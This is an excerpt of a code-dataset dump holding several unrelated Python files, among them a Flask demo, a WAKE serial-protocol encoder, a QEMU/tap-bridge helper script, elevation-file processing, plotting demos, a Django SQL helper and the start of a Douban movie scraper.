writeshortsentence\n else:\n write = writesentence\n with open(args.outfile, 'a') as (outp):\n if args.timestamp:\n outp.write(str(datetime.datetime.now()) + ':\\n')\n if args.save_options:\n outp.write('in: ' + vars(args)['infile'] + ' | ')\n if args.combine:\n outp.write('comb: ' + vars(args)['combine'] + ' | ')\n if args.combine_url:\n outp.write('comb: ' + vars(args)['combine_url'] + ' | ')\n if args.combine_pdf:\n outp.write('comb: ' + vars(args)['combine_pdf'] + ' | ')\n if args.combine or args.combine_url or args.combine_pdf:\n outp.write('weight: ' + str(vars(args)['weight']) + ' | ')\n outp.write('overlap: ' + str(vars(args)['overlap']) + ' | ')\n outp.write('state size: ' + str(vars(args)['state_size']) + '\\n')\n outp.write('\\n')\n write(model, args.sentences, args.outfile, args.overlap, args.length)\n print('\\n: :\\n')\n for key, value in vars(args).items():\n print(': ' + key.ljust(15, ' ') + ': ' + str(value).ljust(10))\n\n if os.path.isfile(args.outfile):\n print(\"\\n: literary genius has been written to the file '\" + args.outfile + \"'. thanks for playing!\\n\\n: 'Here, this is not at all the becomings that are connected... so if you want to edit it like a bot yourself, it is trivial. Yes, although your very smile suggests that this Armenian enclave is not at all the becomings that are connected...'\")\n else:\n print(': mkv-this ran but did NOT create an output file as requested. this is a very regrettable and dangerous situation. contact the package maintainer asap. soz!')\n sys.exit()","sub_path":"pycfiles/mkv_this-0.2.5-py3.7/mkv_this.cpython-37.py","file_name":"mkv_this.cpython-37.py","file_ext":"py","file_size_in_byte":8379,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"477352561","text":"from flask import Flask,render_template\n\napp = Flask(__name__)\n\n@app.route('/')\ndef index():\n my_var = [1,2,3,4,5]\n return render_template(\"basic.html\", my_var=my_var)\n\n@app.route('/puppy_latin/')\ndef puppy(name):\n def f_str(name):\n if name[-1] != \"y\":\n name = name+\"y\"\n elif name[-1] == \"y\":\n name = name[:-1] + \"iful\"\n return name\n return \"Hi \"+name+\"!Your puppylatin name is {}\".format(f_str(name))\n\nif __name__ == \"__main__\":\n app.run(debug=True)\n","sub_path":"Python+Flask_Udemy/basics/basic.py","file_name":"basic.py","file_ext":"py","file_size_in_byte":515,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"125344945","text":"try:\r\n import crcmod\r\nexcept ModuleNotFoundError as err:\r\n print('Import module crcmod error: {}'.format(str(err)))\r\n print('Install module crcmod')\r\n exit(-1)\r\n\r\nfrom struct import pack\r\n\r\nFEND = b'\\xC0'\r\nFESC = b'\\xDB'\r\nTFEND = b'\\xDC'\r\nTFESC = b'\\xDD'\r\n\r\n\r\ndef wake_transmit(cmd, data, adr=None):\r\n d_for_crc = FEND\r\n d_for_tx = b''\r\n\r\n if adr is not None:\r\n d_for_crc += pack('B', adr & 0x7F)\r\n d_for_tx += pack('B', adr + 0x80)\r\n\r\n d_for_crc += pack('B', cmd.value)\r\n d_for_tx += pack('B', cmd.value)\r\n\r\n d_for_crc += pack('B', len(data)) + data\r\n d_for_tx += pack('B', len(data)) + data\r\n\r\n crc8_func = crcmod.predefined.mkPredefinedCrcFun('crc-8-maxim')\r\n crc = crc8_func(d_for_crc)\r\n\r\n d_for_tx += pack('B', crc)\r\n d_for_tx = d_for_tx.replace(FESC, FESC + TFESC)\r\n d_for_tx = d_for_tx.replace(FEND, FESC + TFEND)\r\n\r\n return FEND + d_for_tx\r\n\r\n\r\ndef wake_decode(data):\r\n return data.replace(FESC + TFEND, FEND).replace(FESC + TFESC, FESC)\r\n\r\n\r\ndef wake_check_crc(data):\r\n if len(data) < 5:\r\n return False\r\n\r\n d_crc = b''\r\n d_crc += data[0:1]\r\n d_crc += bytes([data[1] & 0x7F])\r\n d_crc += data[2:-1]\r\n\r\n crc8_func = crcmod.predefined.mkPredefinedCrcFun('crc-8-maxim')\r\n crc_calc = crc8_func(d_crc)\r\n\r\n return crc_calc == data[-1:][0]\r\n","sub_path":"Tools/Wake.py","file_name":"Wake.py","file_ext":"py","file_size_in_byte":1340,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"24963897","text":"# ! python3.4\n\nimport os\nimport io\nimport sys\nimport math\n\n# from array import array\n\n\n\nimport os\n\nrootPath = \"../data/DEM_DATA/\"\ncounter = 0\n\nfileNamesArray = []\nfor item in os.listdir(rootPath):\n if os.path.isfile(os.path.join(rootPath, item)):\n fileNamesArray.append(item)\n counter += 1\n\n\nprint(fileNamesArray)\nfileNamesArray.sort()\n\n# for root, dirs, files in os.walk(rootPath, topdown=True):\n# \tfor name in files:\n# \t\tcount+=1\n# \t\tpass\n# \tfor name in dirs:\n# \t\tprint(os.path.join(root, name))\n# print(str(count) + \" fichiers à traiter\")\n# files.sort()\n# print(files)\n\n\n\n\n\nfilePath = \"../data/DEM_DATA/N45E003.hgt\"\n\nreductionFactor = 8\n\ndef createSmallFile(path,outputfile = 'test.hgt') :\n\n\tf = open(path,\"rb\")\n\n\n\n\tcount = int(os.stat(path).st_size / 2)\n\n\tprint(\"original file dimension -->\" + str(math.sqrt(count)))\n\n\n\n\n\n\tMatrix = [[0 for x in range(1201)] for x in range(1201)] \n\tprint(len(Matrix[0]))\n\n\t##############\n\t### 2 dimensional array\n\t##############\n\n\tfor x in range(0,int(count)):\n\t\t\t\n\t\t\tline = int(math.floor(x / 1201))\n\t\t\tcol = x - line * 1201\n\n\t\t\tf.seek (x*2)\n\t\t\tbyte = f.read(2)\n\t\t\tMatrix[line][col] = byte\n\n\n\tf.close()\n\n\t##############\n\t### END 2 dimensional array\n\t##############\t\n\n\t# print(int.from_bytes(Matrix[1200][1200], byteorder='big'))\n\n\t# print(\"Matrix length \" + str(len(Matrix[0])))\n\n\t\n\n\tfout = open(outputfile,\"wb\")\n\n\tfor x in range(0,int(len(Matrix)/reductionFactor)):\n\n\t\tfor y in range(0, int(len(Matrix)/reductionFactor)):\n\n\t\t\tbyteValue = Matrix[int(x * reductionFactor)][int(y * reductionFactor)]\n\t\t\tif(x == int(len(Matrix)/reductionFactor)-1):\n\t\t\t\tbyteValue = Matrix[len(Matrix)-1][int(y * reductionFactor)]\n\t\t\t\t# print(\"!!!!!!!!!!!!\" + str(x))\n\t\t\tif(y == int(len(Matrix)/reductionFactor)-1):\n\t\t\t\tbyteValue = Matrix[int(x * reductionFactor)][len(Matrix)-1]\n\t\t\t\t# print(\"!!!!!!!!!!!!\" + str(y))\t\t\t\t\n\t\t\tfout.write(byteValue)\n\n\tfout.close()\n\n\t# print(fout.path)\n\tprint(fout.name)\n\n\t#############end createSmallFile function\n\n\nfor x in range(0,len(fileNamesArray)):\n# for x in range(0,2):\n\n\tsourceFile = rootPath + fileNamesArray[x]\n\toutputFile = rootPath + \"1_8th/\"+ fileNamesArray[x][:-4]+'_1_'+str(reductionFactor)+'th.hgt'\n\tcreateSmallFile(sourceFile, outputFile)\t\n\tprint(str(x+1) + \" sur \" + str(counter))\n\t\n\n\tpass\n\n","sub_path":"python/readBytes.py","file_name":"readBytes.py","file_ext":"py","file_size_in_byte":2276,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"167649411","text":"#!/usr/bin/python\n\n'''\nTODO:\n implement --name to clarify window\n'''\n\nimport argparse\nimport sys\nfrom os import system, getuid\n\nqemu_img = \"/usr/bin/qemu-img\"\nqemu_binary = \"/usr/bin/qemu-system-x86_64 -enable-kvm \"\nqemu_tap_pre = \" -net nic,macaddr='52:54:00:12:34:5'\"\nqemu_tap_mid = \",model=virtio -net tap,ifname=tap\"\nqemu_tap_post = \",script=no,downscript=no \"#,vhost=on \"\nqemu_boiler = \"-vga vmware -usbdevice tablet -machine type=pc,accel=kvm -smp \"\n\ndef create(image, imagesize):\n system(qemu_img + \" create -f qcow2 \" + image + \" \" + imagesize + \"G\")\n sys.exit(0)\n\ndef install(image, iso, memory, tap, cores):\n system(qemu_binary + \"-cdrom \" + iso + \\\n \" -boot order=d -drive file=\" + image + \",format=qcow2\" \\\n + qemu_tap_pre + tap + qemu_tap_mid + tap + \\\n qemu_tap_post + qemu_boiler + cores +\n \" -m \" + memory + \"G -cpu host &\")\n sys.exit(0)\n\ndef start(image, memory, tap, cores):\n system(qemu_binary + \"-drive file=\" + image + \\\n \",format=qcow2\" + qemu_tap_pre + tap + \\\n qemu_tap_mid + tap + qemu_tap_post + \\\n qemu_boiler + cores + \" -m \" + memory + \"G -cpu host &\")\n sys.exit(0)\n\ndef start_named_instance(image, memory, tap, cores, name):\n system(qemu_binary + \"-drive file=\" + image + \\\n \",format=qcow2\" + qemu_tap_pre + tap + \\\n qemu_tap_mid + tap + qemu_tap_post + \\\n qemu_boiler + cores + \" -m \" + memory + \\\n \"G -name \" + name + \" -cpu host > /dev/null 2>&1 &\")\n\ndef start_no_image(iso, memory, tap, cores):\n system(qemu_binary + \"-cdrom \" + iso + \\\n \" -boot order=d\" + qemu_tap_pre + tap + \\\n qemu_tap_mid + tap + qemu_tap_post + qemu_boiler \\\n + cores + \" -m \" + memory + \"G -cpu host &\")\n sys.exit(0)\n\ndef start_no_image_named_instance(iso, memory, tap, cores, name):\n system(qemu_binary + \"-cdrom \" + iso + \\\n \" -boot order=d\" + qemu_tap_pre + tap + \\\n qemu_tap_mid + tap + qemu_tap_post + qemu_boiler \\\n + cores + \" -m \" + memory + \"G -name \" + name + \\\n \" -cpu host &\")\n\ndef create_tap(tap, eth):\n if getuid():\n print('Tap creation requires root.')\n sys.exit(0)\n system('ip link add name br0 type bridge')\n system('ip link set br0 up')\n system('ip tuntap add dev tap' + tap + ' mode tap')\n system('ip link set tap' + tap + ' up')\n system('ip addr flush dev ' + eth)\n system('ip link set ' + eth + ' master br0')\n system('ip link set tap' + tap + ' master br0')\n system('systemctl stop dhcpcd')\n system('/usr/bin/dhcpcd --config dhcpcd-tap.conf')\n sys.exit(0)\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(description='Qemu helper. Requires one of --create, --install, --start, --start-named.')\n\n group = parser.add_mutually_exclusive_group(required=True)\n group.add_argument('--create', action='store_true', help='Create a new qemu image')\n group.add_argument('--install', action='store_true', help='Install an iso onto a qemu image')\n group.add_argument('--start', action='store_true', help='Start an existing qemu image')\n group.add_argument('--start-named', action='store_true', help='Start an existing qemu image, name instance')\n group.add_argument('--create-tap', dest='create_tap', action='store_true', help='Creates a new tap interface')\n\n parser.add_argument('--image', type=str, help='Qemu image.')\n parser.add_argument('--image-size', dest='imagesize', type=str, help='Specify image size for creation.')\n parser.add_argument('--iso', type=str, help='ISO Image to load from.')\n parser.add_argument('--memory', type=str, help='Amount of memory in G to load image with.')\n parser.add_argument('--tap', type=str, help='Which tap to start image with.')\n parser.add_argument('--cores', type=str, help='Number of cores to load image with.')\n parser.add_argument('--eth', type=str, help='eth interface for tap creation.')\n parser.add_argument('--name', type=str, help='instance name.')\n\n parser.set_defaults(memory='4', cores='2', tap='1', create=False, install=False, start=False, start_named=False, create_tap=False)\n\n args = parser.parse_args()\n\n if args.create:\n if not args.image or not args.imagesize:\n print('Need to specify image name and image size.')\n sys.exit(0)\n create(args.image, args.imagesize)\n\n if args.install:\n if not args.image or not args.iso:\n print('Need to specify image name and ISO.')\n sys.exit(0)\n install(args.image, args.iso, args.memory, args.tap, args.cores)\n\n if args.start:\n if not args.image and not args.iso:\n print('Need to specify image name or iso if starting without an image.')\n sys.exit(0)\n elif args.image and not args.iso:\n start(args.image, args.memory, args.tap, args.cores)\n elif args.iso and not args.image:\n start_no_image(args.iso, args.memory, args.tap, args.cores)\n\n if args.start_named:\n if not args.image and not args.iso:\n print('Need to specify image name or iso if starting without an image.')\n sys.exit(0)\n if not args.name:\n print('Need to specify image name.')\n sys.exit(0)\n elif args.image and not args.iso:\n start_named_instance(args.image, args.memory, args.tap, args.cores, args.name)\n elif args.iso and not args.image:\n start_no_image_named_instance(args.iso, args.memory, args.tap, args.cores, args.name)\n\n if args.create_tap:\n if not args.tap or not args.eth:\n print('Need to specify tap and eth.')\n sys.exit(0)\n create_tap(args.tap, args.eth)\n","sub_path":"qemu.py","file_name":"qemu.py","file_ext":"py","file_size_in_byte":5770,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"634174622","text":"\"\"\"\nCount how often each character appears in the text in the page source\n\"\"\"\nif __name__ == \"__main__\":\n with open(\"text.txt\") as f:\n text = \"\".join(f)\n\n unique = set(text)\n rare = [c for c in unique if text.count(c) == 1]\n url = \"\".join([c for c in text if c in rare])\n print(url)","sub_path":"level2/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":304,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"196993275","text":"#coding=utf-8\n\n\"\"\"\n 可以画饼图、曲线、柱状图\n http://blog.csdn.net/wizardforcel/article/details/54407212\n 含有三维图的示例\n http://blog.csdn.net/u011497262/article/details/52325705\n\n 非常多示例 含有三维图\n http://blog.csdn.net/Notzuonotdied/article/details/77876080\n\n 对LaTeX数学公式\n http://blog.csdn.net/ywjun0919/article/details/8692018\n\n 含有动画\n http://blog.csdn.net/Notzuonotdied/article/details/77876080\n\n 可以使用subplot()快速绘制包含多个子图的图表���它的调用形式如下:\n subplot(numRows, numCols, plotNum)\n\"\"\"\n\nimport matplotlib.pyplot as plt\nimport tensorflow as tf\nimport numpy as np\n\ndef main():\n x_data = tf.Variable(tf.random_normal([100], dtype=tf.float32))\n y_data = tf.add(tf.multiply(x_data, 0.3) , 0.5)\n\n x_data = tf.Variable(tf.random_uniform([100], -5., 5., dtype=tf.float32))\n y_data = tf.add(tf.multiply(x_data, 0.233), 0.5)\n y_data = tf.add(y_data, tf.random_uniform([100], -0.2, 0.2, dtype=tf.float32))\n\n #x_data = np.linspace(-3, 3, 100)\n #y_data = np.sin(x_data) + np.random.uniform(-0.5, 0.5, 100)\n x_data = tf.Variable(tf.random_uniform([300], -5.0, 5.0, dtype=tf.float32), dtype=tf.float32, name='X')\n y_data = tf.add(tf.cos(x_data, name='Y'), tf.random_uniform([300], -1.0, 1.0, dtype=tf.float32))\n\n with tf.Session() as sess:\n sess.run(tf.global_variables_initializer())\n # 创建一个图 设置分辨率等属性\n fig = plt.figure()\n \"\"\"\n 创建一个新的 1 * 1 的子图,接下来的图样绘制在其中的第 1 块(也是唯一的一块)\n subplot(1,1,1)\n 子图:就是在一张figure里面生成多张子图\n add_subplot() 生成一张子图\n pyplot的方式中plt.subplot()参数和面向对象中的add_subplot()参数和含义都相同\n \"\"\"\n ax = fig.add_subplot(1,1,1)\n #ax.scatter(sess.run(x_data), sess.run(y_data))\n #ax.scatter(x_data, y_data)\n #ax.plot(sess.run(x_data), sess.run(y_data), 'ro')\n # 绘制曲线,使用蓝色的、连续的、宽度为 1 (像素)的线条\n # plot(X, C, color=\"blue\", linewidth=1.0, linestyle=\"-\")\n plt.plot(sess.run(x_data), sess.run(y_data), 'ro')\n # 多个曲线画在一个图上\n #plt.legend()\n plt.show()\n\ndef main2():\n x = np.arange(0, 100)\n\n fig = plt.figure()\n\n ax1 = fig.add_subplot(221)\n ax1.plot(x, x)\n\n ax2 = fig.add_subplot(222)\n ax2.plot(x, -x)\n\n ax3 = fig.add_subplot(223)\n ax3.plot(x, x ** 2)\n\n ax4 = fig.add_subplot(224)\n ax4.plot(x, np.log(x))\n\n plt.show()\n\nif __name__ == '__main__':\n main()\n #main2()\n","sub_path":"wolf_nlp/matplot_learn/matplot_learn1.py","file_name":"matplot_learn1.py","file_ext":"py","file_size_in_byte":2724,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"627155955","text":"# -*- coding: utf-8 -*-\n\"\"\"\nTencent is pleased to support the open source community by making BK-BASE 蓝鲸基础平台 available.\n\nCopyright (C) 2021 THL A29 Limited, a Tencent company. All rights reserved.\n\nBK-BASE 蓝鲸基础平台 is licensed under the MIT License.\n\nLicense for BK-BASE 蓝鲸基础平台:\n--------------------------------------------------------------------\nPermission is hereby granted, free of charge, to any person obtaining a copy of this software and associated\ndocumentation files (the \"Software\"), to deal in the Software without restriction, including without limitation\nthe rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software,\nand to permit persons to whom the Software is furnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all copies or substantial\nportions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT\nLIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN\nNO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,\nWHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE\nSOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n\"\"\"\n\n# minimal wrapper to write sql easier\nimport contextlib\n\nimport django.db\nimport django.db.transaction\n\n\n@contextlib.contextmanager\ndef open_cursor(db_name):\n with django.db.transaction.atomic(db_name):\n c = django.db.connections[db_name].cursor()\n try:\n yield c\n finally:\n c.close()\n\n\n@contextlib.contextmanager\ndef open_cursor_without_transaction(db_name):\n c = django.db.connections[db_name].cursor()\n try:\n yield c\n finally:\n c.close()\n\n\ndef get(cursor, sql, **kwargs):\n cursor.execute(sql, kwargs)\n rows = __dictfetchall(cursor)\n if not rows:\n return None\n return rows[0]\n\n\ndef list(cursor, sql, **kwargs):\n cursor.execute(sql, kwargs)\n return __dictfetchall(cursor)\n\n\ndef insert(cursor, table, **kwargs):\n columns = \"`, `\".join(kwargs.keys())\n variables = \", \".join(\"%({})s\".format(k) for k in kwargs.keys())\n sql = \"\".join([\"INSERT INTO \", table, \"(`\", columns, \"`) VALUES (\", variables, \")\"])\n cursor.execute(sql, kwargs)\n return cursor.lastrowid\n\n\ndef execute(cursor, sql, **kwargs):\n cursor.execute(sql, kwargs)\n return cursor.rowcount\n\n\n# ########### internal #################\n\n\ndef __dictfetchall(cursor):\n \"Returns all rows from a cursor as a dict\"\n desc = cursor.description\n return [dict(zip([col[0] for col in desc], row)) for row in cursor.fetchall()]\n","sub_path":"src/api/datalab/tests/db_helper.py","file_name":"db_helper.py","file_ext":"py","file_size_in_byte":2805,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"316742168","text":"# -*- coding: utf-8 -*-\n\nimport sys\nimport re\n\nfrom os.path import dirname, realpath\nsys.path.append(dirname(dirname(realpath(__file__))))\n\nfrom crawler.settings import *\nfrom crawler.models import SiteTemplate\n\nDOMAIN_CONFIG = {\n \"us.cnn.com\" : [\n [\"prepend\", \".el__leafmedia--sourced-paragraph .zn-body__paragraph\"],\n [\"prepend\", \".js-gallery-aspect-ratio-wrapper img\"],\n [\"prepend\", \".el__video--fullwidth .js-media__video .media__video--thumbnail .media__image--responsive\"],\n [\"delete\", \".el__leafmedia--storyhighlights\"], [\"delete\", \".zn-body__read-more\"],\n [\"delete\", \".el__image--fullwidth noscript\"], [\"delete\", \".el__article--embed .el__article--teaseimage\"],\n [\"imgsrc\", \"data-src-large\"], [\"unwrap\", \".zn-body__paragraph p\"]\n ],\n \"www.nytimes.com\" : [\n [\"prepend\", \"figure .image img\"],\n [\"delete\", \".story-body .video\"],\n [\"delete\", \"button.comments-button\"]\n ],\n \"www.huffingtonpost.com\" : [\n [\"prepend\", \".top-media--image .image__src\"],\n [\"delete\", \"section.extra-content\"],\n [\"delete\", \".below-entry .below-entry__content\"],\n [\"prepend\", \"figure.content-list-component.image img\"],\n [\"delete\", \".slideshow-overlay\"],\n [\"delete\", \".slideshow\"]\n ],\n \"www.foxnews.com\" : [\n [\"prepend\", \"[itemprop=\\\"articleBody\\\"] .m img\"],\n [\"delete\", \"section.mod-27\"]\n ],\n \"www.nbcnews.com\" : [\n [\"delete\", \".img_half .js-lightbox.lightbox_link\"],\n [\"prepend\", \"figure.img_half img\"],\n [\"appendall\", \".widget.widget_tweet\"]\n ],\n \"abcnews.go.com\" : [\n [\"prepend\", \".article-figure .img-wrap picture [itemprop=\\\"image\\\"]\"]\n ],\n \"www.usatoday.com\" : [\n [\"prepend\", \".image-wrap\"],\n [\"delete\", \".story-asset.oembed-asset\"],\n [\"delete\", \".article-print-url\"],\n [\"delete\", \".gallery-viewport-slide.endslate\"],\n [\"delete\", \".feature-btns\"],\n [\"delete\", \".blog-inline-share\"],\n [\"delete\", \".slide-nav\"]\n ],\n \"www.latimes.com\" : [\n [ \"prepend\", \".trb_ar_la .trb_embed_media .trb_embed_imageContainer_figure\" ],\n [ \"imgsrc\", \"data-baseurl\" ],\n [ \"delete\", \"p strong\" ]\n ],\n \"mashable.com\" : [\n [\"prepend\", \".article-image\"]\n ],\n \"gma.yahoo.com\" : [\n [\"prepend\", \".img-wrap img\"],\n [\"delete\", \"#topics\"],\n [\"imgsrc\", \".img-wrap img\"]\n ],\n \"www.msn.com\" : [\n [\"delete\", \".video_control_container.vid_ctrls\"],\n [\"delete\", \"strong\"],\n [\"delete\", \".video_player\"],\n [\"delete\", \".xnetvidplayer\"]\n ],\n \"fortune.com\" : [\n [\"delete\", \".article-social-icons\"],\n [\"delete\", \".entry-title\"],\n [\"delete\", \".article-byline-time.article-byline-item\"],\n [\"delete\", \".screen-reader-text\"],\n [\"prepend\", \".article-primary-image.featured-img-article_full\"],\n [\"imgsrc\", \"img\"]\n ],\n \"www.newyorker.com\" : [\n [\"prepend\", \".feature-image-swap\"],\n [\"imgsrc\", \".feature-image-swap\"]\n ],\n \"www.digitaltrends.com\" : [\n [\"delete\", {\"find_all\": {\"name\": \"strong\", \"string\": \"Read the full story here.\"}}]\n ],\n \"www.pcworld.com\" : [\n [\"prepend\", \".largeImage\"],\n [\"imgsrc\", \".largeImage\"]\n ],\n \"www.vox.com\" : [\n [\"prepend\", \"img\"],\n [\"imgsrc\", \"img\"]\n ],\n \"www.chron.com\" : [\n [\"prepend\", \"img.StretchedBox\"],\n [\"imgsrc\", \"img.StretchedBox\"]\n ],\n \"finance.yahoo.com\" : [\n [\"prepend\", \"img.StretchedBox\"],\n [\"imgsrc\", \"img.StretchedBox\"]\n ],\n \"www.foxbusiness.com\" : [\n [ \"prepend\", \".big-top .m img\" ],\n [ \"delete\", \".ad-container\" ],\n [ \"delete\", \"iframe\" ]\n ],\n \"www.washingtonpost.com\" : [\n [ \"prepend\", \".inline-content.inline-photo.inline-photo-normal\" ],\n [ \"delete\", \"p.interstitial-link\" ],\n [\"imgsrc\",\"data-raw-src\"]\n ],\n \"www.bloomberg.com\" : [\n [\"delete\", \".terminal-tout\"],\n [\"prepend\", \"div.inline-media__unlinked-image\"]\n ],\n \"lifehacker.com\" : [\n [\"delete\", \"aside.referenced-wide\"]\n ],\n \"www.cbssports.com\" : [\n [ \"delete\", \"#news-listing\" ]\n ],\n \"dailycaller.com\" : [\n [\"delete\", \"p#postid\"],\n [\"prepend\", \".thepost.post.article-content .pic-container\"]\n ],\n \"www.cbsnews.com\" : [\n [\"prepend\", \".article-image .img img\"],\n [\"delete\", \"#article-entry p a[title*=\\\"CBS\\\"]\"],\n [\"delete\", \"figure.overlay-video figcaption\"],\n [\"delete\", \".shortcode-gallery.shortcode.small.left\"]\n ],\n \"www.rt.com\" : [\n [\"delete\", \".arcticle__read-more\"],\n [\"delete\", \"iframe\"],\n [\"delete\", \".article__cover\"]\n ],\n \"www.iflscience.com\" : [\n [\"prepend\", \"article.post .image-wrap .images\"],\n [\"imgsrc\", \"srcset\"]\n ],\n \"seekingalpha.com\" : [\n [\"delete\", \"#a-disclosure\"],\n [\"delete\", \"#top-business-disclosure\"],\n [\"delete\", \"figure\"]\n ],\n \"www.npr.org\" : [\n [ \"delete\", \".imagewrap a.enlargebtn\" ],\n [ \"delete\", \".internallink .bucket\" ],\n [ \"delete\", \".swipe.slideshowGallery\" ],\n [ \"delete\", \".enlarge_html\" ],\n [ \"delete\", \"b.hide-caption\" ],\n [ \"delete\", \"b.credit\" ],\n [ \"delete\", \"b.toggle-caption\" ]\n ],\n \"patch.com\" : [\n [ \"prepend\", \".article-image img\" ]\n ],\n \"www.bizjournals.com\" : [\n [ \"prepend\", \".media__media.xs-only__expander\" ]\n ],\n \"nypost.com\" : [\n [ \"delete\", \".image-layout.show\" ],\n [ \"prepend\", \"#featured-image-wrapper picture.featured-image img\" ],\n [ \"imgsrc\", \"srcset\" ]\n ],\n \"www.si.com\" : [\n [ \"prepend\", \".component.lazy-image.lead-media\" ],\n [ \"delete\", \".content.body em\" ]\n ],\n \"blogs.wsj.com\" : [\n [ \"prepend\" , \"div.image-container img\" ]\n ],\n \"www.aol.com\" : [\n [ \"delete\", \"span.close\" ],\n [ \"delete\", \"div.pieces-content\" ]\n ],\n \"toutiao.utan.com\" : [\n [ \"delete\", \"div.embed-youtube\" ]\n ],\n \"www.militarytimes.com\" : [\n [ \"delete\", \"div.article-oembed\" ]\n ],\n \"publicnewsservice.org\" : [\n [ \"delete\", \".printbutton\" ]\n ],\n \"thebiglead.com\" : [\n [ \"prepend\", \"img.article__image\" ],\n [ \"delete\", \"img.block__thumb\" ],\n [ \"delete\", \"span.embed-youtube\" ]\n ],\n \"www.lgbtqnation.com\" : [\n [ \"prepend\", \".attachment-large\" ]\n ],\n \"www.inverse.com\" : [\n [ \"delete\", { \"find_all\" : { \"name\" : \"img\", \"class\" : \"media-image full-width placeholder\" } } ],\n [ \"delete\", { \"find_all\" : { \"name\" : \"img\", \"class\" : \"media-image inline placeholder\" } } ]\n ],\n \"www.usmagazine.com\":[\n [\"delete\",\".rect\"],\n [\"delete\",\"p strong\"]\n ],\n \"www.business2community.com\":[\n [\"delete\",\"iframe\"]\n ],\n \"www.foxsports.com\" : [\n [\"prepend\",\".marquee-container picture img\"],\n [\"delete\",\".fssi-pubAttr-si\"],\n [\"delete\",\".embed-video iframe\"],\n [\"imgsrc\",\"srcset\"]\n ],\n \"www.benzinga.com\": [\n [\"prepend\",\".imagecache \"]\n ],\n \"www.politico.com\": [\n [\"prepend\",\".art div img\"]\n ],\n \"www.dailykos.com\": [\n [\"prepend\",\".top-story-image img\"]\n ],\n \"www.techtimes.com\":[\n [\"prepend\",\"#top_photo img\"]\n ],\n \"www.vanityfair.com\":[\n [\"prepend\",\".pinterest-link-container img\"],\n [\"imgsrc\",\"srcset\"],\n [\"delete\",\".slideshow-main\"],\n [\"delete\",\".slideshow-container\"]\n ],\n \"kotaku.com\": [\n [\"prepend\",\".img-permalink-sub-wrapper picture img\"],\n [\"imgsrc\",\"data-mp4-src\"]\n ],\n \"www.technobuffalo.com\": [\n [\"prepend\",\".block-media-container.image\"],\n [\"prepend\",\".rsImg\"]\n ],\n \"www.theoutfit.com\":[\n [\"delete\",\".rm-shortcode\"],\n [\"delete\",\".shortcode-media\"]\n ],\n \"www.breitbart.com\":[\n [\"prepend\",\".featured-container img\"]\n ],\n \"asia.nikkei.com\":[\n [\"prepend\",\".detail img\"]\n ],\n \"www.nydailynews.com\":[\n [\"prepend\",\"figure img\"]\n ]\n}\n\ndef main():\n SiteTemplate.drop_collection()\n for domain in DOMAIN_CONFIG:\n st = SiteTemplate(domain=domain, ops=DOMAIN_CONFIG[domain])\n st.save()\n\nif __name__ == '__main__':\n main()\n\n","sub_path":"chaos/scripts/fillup_site_template_for_us.py","file_name":"fillup_site_template_for_us.py","file_ext":"py","file_size_in_byte":8339,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"583398925","text":"# coding=UTF-8\nimport random\nimport re\nimport time\nimport urllib\nimport requests\nimport json\nimport pymssql\nfrom bs4 import BeautifulSoup\n\n\ndef main():\n\n #提取数据至列表\n AskHTML()\n # filmonlylist=filterdata(filmlist)\n # 保存到数据库\n\n\n\n# 爬取网页\ndef AskHTML():\n movie_type = ['剧情', '喜剧', '动作', '爱情', '科幻', '动画', '悬疑',\n '惊悚', '恐怖', '犯罪', '同性', '音乐', '歌舞', '传记',\n '历史', '战争', '西部', '奇幻', '冒险', '灾难', '武侠']\n movie_zone = ['中国大陆', '美国', '香港', '台湾', '日本',\n '韩国', '英国', '法国', '德国', '意大利',\n '西班牙', '印度', '泰国', '俄罗斯', '伊朗',\n '加拿大', '澳大利亚', '爱尔兰', '瑞典', '巴西', '丹麦']\n head = { # 模拟浏览器头部信息,向豆瓣服务器发送消息\n \"Cookie\": 'bid=kQ3S0gUvVtc; __gads=ID=9247b7cae7ee6dc3:\\\n T=1590506979:S=ALNI_Mab-EyjfbbvDHnXfGvtjb5hkM3r5A; ll=\"118316\"; \\\n __yadk_uid=Cz2RXPIH44JXT5xD580rYnlS3E2FiN9D; \\\n _vwo_uuid_v2=D7F52A53160EEEE1537AD989E1162EBA8|d5ea1a5cd19412fdae66d1b4c56a58a3; \\\n ct=y; __utmc=30149280; \\\n __utmz=30149280.1591118319.2.2.utmcsr=cn.bing.com|utmccn=(referral)|utmcmd=referral|utmcct=/; \\\n __utmc=223695111; __utmz=223695111.1591199738.5.3.utmcsr=douban.com|utmccn=(referral)|\\\n utmcmd=referral|utmcct=/doulist/1605639/; \\\n _pk_ref.100001.4cf6=%5B%22%22%2C%22%22%2C1591287294%2C%22https%3A%2F%2F\\\n www.douban.com%2Fdoulist%2F1605639%2F%22%5D; _pk_ses.100001.4cf6=*; ap_v=0,6.0;\\\n __utma=30149280.1226899291.1590506980.1591230766.1591287295.7; __utmb=30149280.0.10.1591287295; 